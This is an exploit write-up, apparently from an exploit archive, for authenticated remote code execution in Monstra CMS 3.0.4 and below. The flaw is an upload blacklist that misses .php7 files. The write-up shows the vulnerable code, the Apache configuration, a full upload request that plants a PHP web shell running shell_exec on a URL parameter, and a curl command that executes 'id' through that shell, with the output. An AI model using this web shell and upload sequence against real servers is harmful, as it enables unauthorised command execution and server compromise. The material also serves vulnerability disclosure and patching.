Monstra CMS 3.0.4 Code Execution

Monstra CMS versions 3.0.4 and below could suffer from a PHP7 remote code execution vulnerability if certain server conditions are met.


MD5 | 53fbf36a7e179014b9b4c9ef9e798b53

# Exploit title  :  Monstra CMS =< v3.0.4 - Authenticated Remote Code Execution
# Date : 21.02.2018
# Exploit Author : Hashim Jawad
# Website : ihack4falafel[.]com
# Twitter : @ihack4falafel
# Vendor Homepage: http://monstra.org/
# Software Links : http://monstra.org/download
# Tested on : Ubuntu 16.04.3 LTS


**Vulnerability Requirements**
==============================
- User with edit or admin permissions.
- Apache2 webserver with PHP v7.0 (libapache2-mod-php7.0).


**Vulnerability Description**
=============================
Monstra CMS version 3.0.4 and eariler allow the upload of files with .php7 extension, which could lead to remote code execution. By default, PHP v7.0 configuration allows .php7 files execution, meaning
Monstra instances running on top of PHP v7.0 are vulnerable to this exploit, see below conf file:

root@server:~# cat /etc/apache2/mods-enabled/php7.0.conf
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
root@server:~#

**Vulnerable Code**
===================
See below Monstra vulnerable code from https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php

public static function main()
{
// Array of forbidden types
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
'php', 'phtml', 'php3', 'php4', 'php5', 'phps',
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

**proof-of-concept**
====================
- Login as user with admin privileges.
- Upload cmd.php7

POST /webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
Host: 192.168.80.135
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/
Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------142811919017951589212084055562
Content-Length: 547

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="csrf"

a026e14835638b29eb372ad869ae0738250f2240
-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="file"; filename="cmd.php7"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET['cmd']); ?>

-----------------------------142811919017951589212084055562
Content-Disposition: form-data; name="upload_file"

Upload
-----------------------------142811919017951589212084055562--

- Browse to cmd.php7 and execute code

root@kali:~# curl -i -s -k -X $'GET' -H $'Host: 192.168.80.135' -H $'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.80.135/webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/' -H $'Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -b $'PHPSESSID=50s1tl42a993rkkbheasllcii6' $'http://192.168.80.135/webservices/monstra-3.0.4/public/uploads/cmd.php7?cmd=id'
HTTP/1.1 200 OK
Date: Wed, 21 Feb 2018 20:40:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kali:~#










Related Posts